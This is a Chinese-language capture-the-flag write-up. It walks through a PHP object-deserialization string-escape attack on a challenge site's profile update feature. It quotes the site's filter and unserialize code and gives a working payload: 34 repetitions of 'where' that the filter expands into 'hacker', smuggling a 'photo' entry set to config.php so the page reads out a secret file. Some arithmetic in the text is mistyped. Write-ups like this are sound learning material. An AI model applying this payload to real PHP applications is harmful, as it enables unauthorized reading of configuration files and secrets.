我尝试了几种payload,发现有两种情况。
第一种:Invalid user name
第二种:Invalid user name or password
第一步想到的是盲注或者报错,因为fuzz一波有一些是没有过滤掉的。
对于后台的拦截我想到的可能是黑名单或者是正则表达式匹配。
先不管,用字典扫一遍扫到源码直接下载下来。
每个文件都看了一遍发现root的username是可以使用的,提示出来是Invalid password
这一段是class.php的源代码
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
这是一段updata.php的代码:
$user->update_profile($username, serialize($profile));
这里是有一段序列化的数据,这意味着我们可以使用一段序列化的数据进行数据的发送,然后这段数据会在后端进行反序列化读取数据。
还有一段数据:
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
这也是一段过滤的匹配操作。
在update的过程我们可以匹配了,我们传递四个参数,phone,email,nackname,以及photo。
进行正则表达式的过滤,赋予到$profile变量中。
调用ipdate_profile这个自定义的函数进行操作,里面的参数已经被序列化了。
查看一下这个函数,他需要传入username,以及上一步所生成的序列化的profile:
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
看到了是用了filter,就是我们最开始注意到的:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
既然有序列化,那肯定就有反序列化读取数据的地方,我在profile找到了,以下是profile的源码:
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
这里使用到了反序列化逃逸,奇怪的知识增加了hhh。
反序列化的逃逸利用到的还是截断欺骗,通过反序列化的逃逸我们能够抛弃院线数据,从而使自己的数据被上传上去。
在phpstudy上验证一下:
<?php
$b = 'a:3:{i:0;s:3:"qsq";i:1;s:2:"mx";i:2;s:4:"test";}';
var_dump(unserialize($b));
?>
output: array(3) { [0]=> string(3) "qsq" [1]=> string(2) "mx" [2]=> string(4) "test" }
反序列化逃逸:
<?php
//$a = array('qsq', 'mx', 'test');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:4:"test";}"
$b = 'a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:5:"wocao";}";i:2;s:4:"test";}';
var_dump(unserialize($b));
?>
output: array(3) { [0]=> string(3) "qsq" [1]=> string(3) "jia" [2]=> string(5) "wocao" }
这就是反序列化逃逸。
在这道题中我们的序列化字符可控,长度也是固定的。
flag在config.php当中,我们需要利用反序列化将config.php的flag给打出来,那么意味着,我们要把这段payload想办法插进去,";s:5:"photo";s:10:"config.php";}
这里有个问题,那就是刚开始九个正则表达式长度的限制:
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
这里我们使用数组就可以绕过,但是数组在序列化之后是这样子的: s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo"
我们想要之后的序列化成功,我们也需要进行补齐:
所以我们构造的payload应该是这样的:";}s:5:“photo”;s:10:“config.php”;}
这里多了两个字符变成了34个字符。
搞出三十四个空位就是我们当务之需的了最开始我们看到了什么:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
就是这里,过滤的地方,加入我们传入where,那么他会替换为hacker,五字节换成了六字节,那么s=6,此时必然有一个字节是不收掌控的,那么我们写34个where,那么他就转换成了34个hacker,原本我们传递的是534+34=204个字节,但是由于转换完之后就是634+34=238个字节,前面的hacker*34把我们设定的204填满了,此时";}s:5:“photo”;s:10:“config.php”;}
就成功出来了,实现了逃逸闭合。
此时我们抓包修改,一切就ok了。
payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
最后我们去查看读取的文件取得flag。